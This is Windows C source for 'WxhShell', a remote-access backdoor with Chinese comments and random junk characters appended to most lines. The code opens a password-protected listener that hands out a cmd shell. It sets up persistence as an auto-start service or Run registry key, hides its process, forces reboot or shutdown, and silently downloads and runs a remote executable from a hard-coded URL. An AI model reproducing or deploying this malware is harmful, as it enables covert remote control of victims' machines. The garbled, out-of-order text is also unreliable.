    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LQk^l`  
    else { .g}N@  
    closesocket(wsh); )e5=<'f 1  
    ExitThread(0); nG4ZOx.*1g  
    } mWZP.w^-  
    break; *7H *epUa  
    } V/H+9+B7Im  
  // 获取shell (<>??(VM  
  case 's': {  ^cw9Yjh6  
    CmdShell(wsh); )rP,+B?W  
    closesocket(wsh); (" :Dz_  
    ExitThread(0); xz0t8`N oN  
    break; hK)'dG*  
  } n[e C  
  // 退出 .n8O 3V  
  case 'x': { wi+Q lf  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U9T}iI  
    CloseIt(wsh); F-zIzzb&O  
    break; c&wg`1{Hal  
    } =YVxQj  
  // 离开 eik_w(xPT  
  case 'q': { 7+f6?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uMva5o  
    closesocket(wsh); |Q)mBvvN  
    WSACleanup(); PcA^ jBgGl  
    exit(1); A z@@0  
    break; r e zp7  
        } `},:dDHI  
  } hd'fWFW N  
  } i|z=WnF$&  
0 cKsGDm  
  // 提示信息 @` Pn<_L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?jfh'mCA  
} 4|&/# Cz^Y  
  } p5E okh  
.S|T{DMQ[  
  return; j;uUM6  
} `q]' ^EzJ  
@mZK[*Ak<*  
// shell模块句柄 nI?*[y}  
int CmdShell(SOCKET sock) @d{}M)6\!  
{ *LhwIY  
STARTUPINFO si; 1 Q FsT  
ZeroMemory(&si,sizeof(si)); 'Up75eT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IY6Ll6OK  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X%s5D&gr  
PROCESS_INFORMATION ProcessInfo; Z*w({k7]  
char cmdline[]="cmd"; n:4 0T1: q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,=CipL9]  
  return 0; \?v&JmEU  
} qspGNu  
X\!q8KEpR&  
// 自身启动模式 MF.!D;s  
int StartFromService(void) ^_v94!a 9  
{ P=EZ6<c3&  
typedef struct Gi-pi=#&cs  
{ Ht+roY  
  DWORD ExitStatus; <w}i  
  DWORD PebBaseAddress; lwt,w<E$  
  DWORD AffinityMask; )|v  du  
  DWORD BasePriority; -"ZNkC =  
  ULONG UniqueProcessId; V^FM-bg%9  
  ULONG InheritedFromUniqueProcessId; )G/=3;!  
}   PROCESS_BASIC_INFORMATION; ESoqmCJjb:  
i#YDdz  
PROCNTQSIP NtQueryInformationProcess; yxx_%9X  
4w%hvJ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Bn 8&~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h(nE)j  
s[{8:Px  
  HANDLE             hProcess; Ay6T*Nu`  
  PROCESS_BASIC_INFORMATION pbi; 9nQyPb6  
A4l"^dZc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _:Q^mV=;j  
  if(NULL == hInst ) return 0; }P%gwgPK  
q*R~gEi#yk  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i/ o  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `2U,#nZ 4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V9< E `C  
chD7 ^&5]  
  if (!NtQueryInformationProcess) return 0; bny@AP(CY+  
rkS'OC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +Q_xY>ej  
  if(!hProcess) return 0; 0e"KdsA:<U  
"Vc|D (g  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bZWR. </  
YdvXp/P:|  
  CloseHandle(hProcess); X)]>E]X  
!V#*(_+n  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); pHVDug3  
if(hProcess==NULL) return 0; /oe0  
@.cord`  
HMODULE hMod; 5[zr(FuE  
char procName[255]; A<H]uQ>  
unsigned long cbNeeded; nUONI+6Z/  
S|u5RU8*"|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mhIGunK;+  
;QuxTmWp^  
  CloseHandle(hProcess); 6k,@+ @]t.  
0|va}m`<3G  
if(strstr(procName,"services")) return 1; // 以服务启动 nq7)0F%e  
>/.jB/q  
  return 0; // 注册表启动 ~qb?#IY]`  
} >@4Ds"Ye"O  
05 6yhB  
// 主模块 n$j B"1  
int StartWxhshell(LPSTR lpCmdLine) i)@vHh82  
{ /-<]v3J  
  SOCKET wsl; 1:cq\Y  
BOOL val=TRUE; Y uZ  
  int port=0; S WsD]rn  
  struct sockaddr_in door; gDfM}2]/  
,9=P=JH  
  if(wscfg.ws_autoins) Install(); p(4Ek"  
G@ybx[_[@  
port=atoi(lpCmdLine); +A,cdi9z  
z&GGa`T"  
if(port<=0) port=wscfg.ws_port; mNe908Yw  
79Q,XRWh|  
  WSADATA data; 3s:)CXO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <C"}OW8  
gcX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]]V=\.y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q{,yas7}  
  door.sin_family = AF_INET; ioTqT:.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <0`"vPU  
  door.sin_port = htons(port); QQHC 1  
6*ZZ)W<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t@cBuV`9c  
closesocket(wsl);  :i?c  
return 1; Qw% 0<~<  
} Z#%77!3  
)Knsy  
  if(listen(wsl,2) == INVALID_SOCKET) { 8v;T_VN  
closesocket(wsl); n!b*GXb\  
return 1; z9#jXC#OdN  
} f}FJR6VO  
  Wxhshell(wsl); R<h0RKiM@  
  WSACleanup(); OK}8BY  
NVC$8imip  
return 0; )[sSCt]  
#@5 jOi  
} CA"`7<,  
n |,}   
// 以NT服务方式启动 4P24ySy9F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y7*^H  
{ BYS>"  
DWORD   status = 0; 9*|An  
  DWORD   specificError = 0xfffffff; Ke&fTK  
nDchLVw  
  serviceStatus.dwServiceType     = SERVICE_WIN32; gY=+G6;=<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6d 8n1_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N) z] F9Kg  
  serviceStatus.dwWin32ExitCode     = 0;  93 `  
  serviceStatus.dwServiceSpecificExitCode = 0; QPF[D7\  
  serviceStatus.dwCheckPoint       = 0; |4Q><6"G  
  serviceStatus.dwWaitHint       = 0; ',RR*{I  
+n`^W(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v:j4#pEWD  
  if (hServiceStatusHandle==0) return; P|)SXR  
Sag\wKV8  
status = GetLastError(); VHws9)  
  if (status!=NO_ERROR) ]Otl(\v(h  
{ \=~<I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gwF@'Uu  
    serviceStatus.dwCheckPoint       = 0; !lB,2_  
    serviceStatus.dwWaitHint       = 0; 9=~jKl%\vJ  
    serviceStatus.dwWin32ExitCode     = status; )=D9L  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ipmr@%~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ==j3 9  
    return; UuA=qWC  
  } f.r-,%^6{  
Y!s/uvRI  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; t,P +~ A  
  serviceStatus.dwCheckPoint       = 0; WqU$cQD"  
  serviceStatus.dwWaitHint       = 0; 5O%}.}n  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2Z..~1r  
} IPE(  
55N/[{[  
// 处理NT服务事件,比如:启动、停止 AB#hh i#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3vs2}IV'  
{ !*#=7^#  
switch(fdwControl) ;6)|'3.B9  
{ X!_OOfueP8  
case SERVICE_CONTROL_STOP: Kd,m;S\  
  serviceStatus.dwWin32ExitCode = 0; XJOo.Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; anV)$PT=  
  serviceStatus.dwCheckPoint   = 0; /ci.IT$Q^  
  serviceStatus.dwWaitHint     = 0; khu,P[3>  
  { !p9F'7;Y<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @fYA{-ZC  
  } +l3 vIN  
  return; QU4'x4YS  
case SERVICE_CONTROL_PAUSE: #6m//0 u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; y.oJzU[p%  
  break; a+BA~|u^  
case SERVICE_CONTROL_CONTINUE: Em.?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W]*wxzf!5z  
  break; =XS'V*  
case SERVICE_CONTROL_INTERROGATE: wYawG$@_  
  break; p9sxA|O=y  
}; 4-n.4j|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bKaV]Uy  
} u})JQ<|  
\)"qN^we  
// 标准应用程序主函数 ?%0i,p@<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q Y fS-  
{ !c`1~a!  
jKQP0 t-  
// 获取操作系统版本 :{6[U=O  
OsIsNt=GetOsVer(); nW%c95E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +1623E  
Gsh2  
  // 从命令行安装 3a S>U #  
  if(strpbrk(lpCmdLine,"iI")) Install(); -T(V6&'Qi  
Y\x Xo?  
  // 下载执行文件 CUd'*Ewu  
if(wscfg.ws_downexe) { V7v,)a" L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K^vMIoh  
  WinExec(wscfg.ws_filenam,SW_HIDE); wLbns qa  
} Y{'G2)e  
\^:f4ZT  
if(!OsIsNt) { Te13Af~  
// 如果时win9x,隐藏进程并且设置为注册表启动 gy[uq m_ T  
HideProc(); \ a<Ye T  
StartWxhshell(lpCmdLine); 1wM p3  
} 1|89-Ii]  
else zc(7p;w#p  
  if(StartFromService()) xMh&C{q  
  // 以服务方式启动 cS[`1y,\3  
  StartServiceCtrlDispatcher(DispatchTable); 0nuFWV  
else A,/S/_Q=  
  // 普通方式启动 P$QfcJq&c*  
  StartWxhshell(lpCmdLine); 3WVHI$A9  
$_UF9 l0  
return 0; Q&LkST-i  
} pQhv3F  
GgYomR:  
}?^G= IP4(  
Z~gqTB]H  
=========================================== Mf63 59  
iB`m!g6$  
oAx0$]+%V)  
WQ]pg "  
] ge-b\  
N!3f1d7RQ  
" \3/9lE|gh  
Pg36'aTe%j  
#include <stdio.h> lo#,zd~  
#include <string.h> I R&u55#I6  
#include <windows.h> PTh Ya  
#include <winsock2.h>  Ui.F<,E  
#include <winsvc.h> ^eRuj)$5A  
#include <urlmon.h> WveFB%@`;  
1,J.  
#pragma comment (lib, "Ws2_32.lib") b,W '0gl  
#pragma comment (lib, "urlmon.lib") wtKh8^:YD  
(qrT0D6  
#define MAX_USER   100 // 最大客户端连接数 9+']`=a:  
#define BUF_SOCK   200 // sock buffer z=U!D `]v  
#define KEY_BUFF   255 // 输入 buffer }ie]7N6;  
9.B7Owgr89  
#define REBOOT     0   // 重启 hdB[H8Q  
#define SHUTDOWN   1   // 关机 )Fw)&5B!  
y()( 8L  
#define DEF_PORT   5000 // 监听端口 uI[*uAR  
)em.KbsPPF  
#define REG_LEN     16   // 注册表键长度 GwULtRa/  
#define SVC_LEN     80   // NT服务名长度 -iHhpD9"X  
T_-MSXhA  
// 从dll定义API KPhqD5, (  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *GhRU5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); on\\;V_/Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >R<fm  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [C6?:'}FA  
\zUsHK?L"t  
// wxhshell配置信息 NC}#P< U  
struct WSCFG { u| c+w)a  
  int ws_port;         // 监听端口 -Me\nu8(RF  
  char ws_passstr[REG_LEN]; // 口令 A.b#r[  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5PPpX=\  
  char ws_regname[REG_LEN]; // 注册表键名 u"jnEKN0y  
  char ws_svcname[REG_LEN]; // 服务名 c"ztrKQQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 nmGHJb,$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 a5M>1&j/eC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <GN?J.B  
int ws_downexe;       // 下载执行标记, 1=yes 0=no De_</1Au!2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" as4NvZ@+r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %-Z~f~<?  
w$4Lu"N :  
}; O|~'-^  
xJhbGK  
// default Wxhshell configuration `,Gk1~Wv  
struct WSCFG wscfg={DEF_PORT, [ UJj*n  
    "xuhuanlingzhe", 8.':pY'8"  
    1, C.-a:oQ[  
    "Wxhshell", $ Zr,-  
    "Wxhshell", 9_3M}|V$^e  
            "WxhShell Service", [\1l4C  
    "Wrsky Windows CmdShell Service", { )qP34rM  
    "Please Input Your Password: ", W\7*T1TDj  
  1, )[*O^bPowI  
  "http://www.wrsky.com/wxhshell.exe", \irjIXtV  
  "Wxhshell.exe" F948%?a  
    }; {@Ac L:Eit  
o=QF>\ \  
// 消息定义模块 *lAdS]I  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <*(R+to^d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @ `D6F;R  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s_!Z+D$K  
char *msg_ws_ext="\n\rExit."; ~x:] ch|  
char *msg_ws_end="\n\rQuit."; -; $/<  
char *msg_ws_boot="\n\rReboot..."; =1 \wZuK#  
char *msg_ws_poff="\n\rShutdown..."; AtDrQ<>y'  
char *msg_ws_down="\n\rSave to "; $lA,{Q  
59J9V3na  
char *msg_ws_err="\n\rErr!"; UAZ&*{MM^  
char *msg_ws_ok="\n\rOK!"; hJsC \C,^  
4 G[hU4L  
char ExeFile[MAX_PATH]; Y;Gm,  
int nUser = 0; YPnJldVn  
HANDLE handles[MAX_USER]; u0b-JJ7)BQ  
int OsIsNt; sEyl\GL  
oFR'GUQC  
SERVICE_STATUS       serviceStatus; TP::y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; j:3Hm0W3  
h+D=/:B  
// 函数声明  u$8MVP  
int Install(void); Cl!jK^AbG  
int Uninstall(void); wt S*w  
int DownloadFile(char *sURL, SOCKET wsh); ,&] ` b#Rc  
int Boot(int flag); V JL;+  
void HideProc(void); t}*!UixE  
int GetOsVer(void); (t$/G3E  
int Wxhshell(SOCKET wsl); cV,Dl`1r  
void TalkWithClient(void *cs); Po. BcytM  
int CmdShell(SOCKET sock); FSs$ ] d;  
int StartFromService(void); WI_mJ/2  
int StartWxhshell(LPSTR lpCmdLine); ]_8I_V cQ  
}9 2lr87  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); , vyx`wDd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %W;Gf9.w  
4ZpF1Zc4B  
// 数据结构和表定义 5O ;^Mk|  
SERVICE_TABLE_ENTRY DispatchTable[] = z %E!tB2o  
{ C&N4<2b  
{wscfg.ws_svcname, NTServiceMain}, s,H(m8#>  
{NULL, NULL} C)p<M H<  
}; u#k ,G`  
AiK4t-  
// 自我安装 BrMp_M  
int Install(void) | V,jd  
{ ~j#6 goKn  
  char svExeFile[MAX_PATH]; [(EH  
  HKEY key; 9= $,]M  
  strcpy(svExeFile,ExeFile); =3dbw8I  
<|Eby!KXR  
// 如果是win9x系统,修改注册表设为自启动 |S`yXsg  
if(!OsIsNt) { 'xoE [0!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @k6}4O?{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9k[},MM  
  RegCloseKey(key); @i-@mxk6<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DeQ'U!?+N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %&+R":Bw  
  RegCloseKey(key); .0W4Dp  
  return 0; L$c%u  
    } f?^Oy!1]  
  } LE80`t>M#  
} lY9M<8g  
else { N%|Vzc  
 >E ;o"  
// 如果是NT以上系统,安装为系统服务 edk9Qd9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _XNR um4  
if (schSCManager!=0) <sYw%9V  
{ 7C7(bg,7^  
  SC_HANDLE schService = CreateService  / !  
  ( 0*/ r'  
  schSCManager, !_H8Q}a  
  wscfg.ws_svcname, |SukiXJZF  
  wscfg.ws_svcdisp, f<4q]HCa  
  SERVICE_ALL_ACCESS, ';|>`<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {^5<{j3e  
  SERVICE_AUTO_START, )k] !u  
  SERVICE_ERROR_NORMAL, V3~a!k  
  svExeFile, 8421-c6y>  
  NULL, jI2gi1 ,a  
  NULL, bW.zxQ :  
  NULL, * r4/|.l  
  NULL, ^'53]b:  
  NULL SOQ-D4q  
  ); vp75u93  
  if (schService!=0) 2n;;Tso"  
  { !^bB/e  
  CloseServiceHandle(schService); U2>dwn  
  CloseServiceHandle(schSCManager); Fif^V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h)l&K%4;  
  strcat(svExeFile,wscfg.ws_svcname); qb&N S4#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <Bb<?7q$ld  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2{]S_. zV  
  RegCloseKey(key); 2T(,H.O  
  return 0; -1r & s  
    } %OTA5  
  } 'Kzr-)JS  
  CloseServiceHandle(schSCManager); U[e8K  
}  1C,C)  
} .6 ?>t!&W  
} .H Fm'p  
return 1; &J/4J  
} 3auJ^B}  
NuS|X   
// 自我卸载 {}J@+Zsi  
int Uninstall(void) :n>ccZeMv  
{ *[1u[H9Cv  
  HKEY key; +=*m! 7Mr  
&;h~JS=  
if(!OsIsNt) { p1VahjRE-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  e(;`9T  
  RegDeleteValue(key,wscfg.ws_regname); 'UvS3]bSYW  
  RegCloseKey(key); @wdB%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qzlMn)e  
  RegDeleteValue(key,wscfg.ws_regname); zhX`~){N6  
  RegCloseKey(key); !ga (L3vf  
  return 0; Z(k\J|&9C  
  } jle%|8m&@  
} ci_v7Jnwo  
} Bpm5dT;  
else { Xlqz8cI  
T ^%n!t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); FH`'1iVH  
if (schSCManager!=0) ADv"_bB:h  
{ {Sr=SE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'K@{vB  
  if (schService!=0) Vyt~OTI\  
  { +/!=Ub[:U  
  if(DeleteService(schService)!=0) { A{8K#@!  
  CloseServiceHandle(schService); 0nD=|W\@{  
  CloseServiceHandle(schSCManager); qv0 DrL,3  
  return 0; 'Elj"Iiu  
  } o ,Tr^e$  
  CloseServiceHandle(schService); _+Jf.n20  
  } |1QbO`f/F  
  CloseServiceHandle(schSCManager); BheEI;}  
} R0hc tT1j  
} 4`UL1)A]  
C>:/(O  
return 1; T$8@2[  
} ZH;y>Z  
J%\~<_2ny  
// 从指定url下载文件 x'@32gv  
int DownloadFile(char *sURL, SOCKET wsh) Y0 X"Zw  
{ 8G5) o`  
  HRESULT hr; yK&* ,J |  
char seps[]= "/"; I>kiah*  
char *token; GIRSoRVsh  
char *file; /J[H5uA  
char myURL[MAX_PATH]; uFm+Y]h  
char myFILE[MAX_PATH]; orB8Q\p'  
KCJN<  
strcpy(myURL,sURL); ?9(o*lp  
  token=strtok(myURL,seps); ~ gfA](N  
  while(token!=NULL) }l}yn@hYC  
  { pVV}1RDa  
    file=token; vhYMWfbY  
  token=strtok(NULL,seps); \=w'HZH#+  
  } 4j=<p@  
V{T{0b" \U  
GetCurrentDirectory(MAX_PATH,myFILE); h"PS-]:CD  
strcat(myFILE, "\\"); S7UZGGjTk  
strcat(myFILE, file); ib(>vp$V  
  send(wsh,myFILE,strlen(myFILE),0); SvX=isu!.  
send(wsh,"...",3,0); C?[a3rNH(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B|Fl ,55  
  if(hr==S_OK) uO ?Od  
return 0; Y(hW(bd;  
else uEScAeQXsI  
return 1; 'n l RY5@2  
7>'uj7r]=  
} e' U"`)S  
"xDx/d8B  
// 系统电源模块 $>'")7z  
int Boot(int flag) 2<[ eD`u  
{ SLJ&{`"7  
  HANDLE hToken; 9@#h}E1$  
  TOKEN_PRIVILEGES tkp; S(>@:`=  
})o~E  
  if(OsIsNt) { q:Y6fbt<7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); CYPazOfj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (2 T#/$  
    tkp.PrivilegeCount = 1; +9CEC1-l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1jH7<%y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6WE&((r ^  
if(flag==REBOOT) { ^s^ JzFw  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2gd<8a''  
  return 0; 861i3OXVE>  
} Gh]_L+  
else { hncS_ZA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Pv/Pww \  
  return 0; )|w*/JK\Z  
} 4AY _#f5u  
  } *<*0".#  
  else { & Fg|%,fv]  
if(flag==REBOOT) { -,~;qSs  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %s$rP  
  return 0; w~kHQ%A  
} zH)cU%I@.  
else { 2PVx++*]C  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) XYqpI/s  
  return 0; XJx,9trH  
} $nB-ADRu@  
} !;o\5x<'$O  
Yz&*PPx  
return 1; QU^/[75Ea0  
} xab]q$n]k  
87QZun%  
// win9x进程隐藏模块 ="uKWt6n'  
void HideProc(void) V I6\   
{ M"=8O>NZ2  
CY*ngi&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); EKZ$Q4YE  
  if ( hKernel != NULL ) s<A*[  
  { Q~fwWp-J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hq/J6 M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )t|^Nuj8  
    FreeLibrary(hKernel); iD>G!\&  
  } T)WZ_bR  
Y]C; T  
return; JN9^fR09G  
} Xzl KP;r0  
mD9STuA$H  
// 获取操作系统版本 ]>tq|R78  
int GetOsVer(void) ;yF[2P ;  
{ 0o=!j3RjH  
  OSVERSIONINFO winfo; cu[!D}tVU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Eo%UuSi  
  GetVersionEx(&winfo); +yzcx3<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Tr}R`6d$  
  return 1;  MKU7fFN.  
  else u-m%=2  
  return 0; Q`H# fS~  
} '5'3_vM  
DdBxqkh  
// 客户端句柄模块 n!GWqle  
int Wxhshell(SOCKET wsl) 8@E8!w&~  
{ *;<e '[Y7f  
  SOCKET wsh; 2q)T y9  
  struct sockaddr_in client; y^2#9\}K  
  DWORD myID; 6fh{lx>  
yZq?B  
  while(nUser<MAX_USER) LO"_NeuL  
{ B;VH`*+X  
  int nSize=sizeof(client); G49Ng|qn  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )T>8XCL\}  
  if(wsh==INVALID_SOCKET) return 1; 82lr4  
{tPnj_|n<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x+4v s s  
if(handles[nUser]==0) iJ}2"i7M  
  closesocket(wsh); F[5S(7M 7  
else HtxLMzgz<<  
  nUser++; br b[})}  
  } ya:sW5fk  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f%c06Un=  
"X`RQ6~]>  
  return 0; f2NA=%\  
} vCj4;P g  
Hw Z^D= A  
// 关闭 socket 0z/h+,  
void CloseIt(SOCKET wsh) g;8M<`qvf  
{  1Yud~[c  
closesocket(wsh); Zp`~}LV{  
nUser--; 8=:A/47=J  
ExitThread(0); .>P~uZiX!  
} !~WZ_z  
*2`:VFEV  
// 客户端请求句柄 ^%;"[r  
void TalkWithClient(void *cs) u=%y  
{ o~= iy  
s3seK6x'  
  SOCKET wsh=(SOCKET)cs; !Q!&CG5l  
  char pwd[SVC_LEN]; i<mevL  
  char cmd[KEY_BUFF]; 3c b[RQf  
char chr[1]; <KtBv Ip]  
int i,j; 5:c;RRn  
+kM\ D~D1  
  while (nUser < MAX_USER) { {ih:FcI  
L_^`k4ct  
if(wscfg.ws_passstr) { cv= \g Z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zhX;6= X2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7{-@}j`  
  //ZeroMemory(pwd,KEY_BUFF); W,Ty=:qm*  
      i=0; 3Y`>6A=  
  while(i<SVC_LEN) { zO%w_7 w  
.:8[wI_f  
  // 设置超时 Uj,g]e 8e  
  fd_set FdRead; EY~7oNfc`R  
  struct timeval TimeOut; ! tGiTzzp  
  FD_ZERO(&FdRead); UxeL cUP  
  FD_SET(wsh,&FdRead); ABcBEv3  
  TimeOut.tv_sec=8; [m\,+lG?)j  
  TimeOut.tv_usec=0; 8'KMxR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); iX{H,- C  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); bo1I&I  
.3@Ng  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); to'j2jP  
  pwd=chr[0]; ,ijW(95{k  
  if(chr[0]==0xd || chr[0]==0xa) { yw'ezpO"  
  pwd=0; JA<~xo[Q9  
  break; gKWzFnW  
  } uN9e:;  
  i++; ailG./I+  
    } +#~O'r]%GG  
dMJ!>l>2  
  // 如果是非法用户,关闭 socket jB!W2~Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y''6NGf  
} a%E8(ms37y  
M6_-f ;.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r{S=Z~J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =UNT.]  
dKm`14f]@G  
while(1) { Jn*Nao_)  
9:-T@u  
  ZeroMemory(cmd,KEY_BUFF); 0R|K0XH#$  
Z(HZB  
      // 自动支持客户端 telnet标准   $T),DUYO  
  j=0; p.C1nh  
  while(j<KEY_BUFF) { E_3r[1l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gLD{1-v  
  cmd[j]=chr[0]; ,T$r9!WTM  
  if(chr[0]==0xa || chr[0]==0xd) { c;wA  
  cmd[j]=0; MqdB\OW&  
  break; -2 x E#r  
  } &DLhb90  
  j++; i=L8=8B`  
    } 1"O&40l  
4)^vMG&  
  // 下载文件 RL*]g*  
  if(strstr(cmd,"http://")) { TT7PQf >  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  P?J kP  
  if(DownloadFile(cmd,wsh)) /PqUXF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :G 5C ]'t  
  else 6R2uWv  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +_~,86  
  } nLJBq)i  
  else { ~C| ,b"  
E0YU[([G  
    switch(cmd[0]) {  eu9w|g  
  X`1p'JD  
  // 帮助 t#5:\U5r.  
  case '?': { *H" aOT^{  
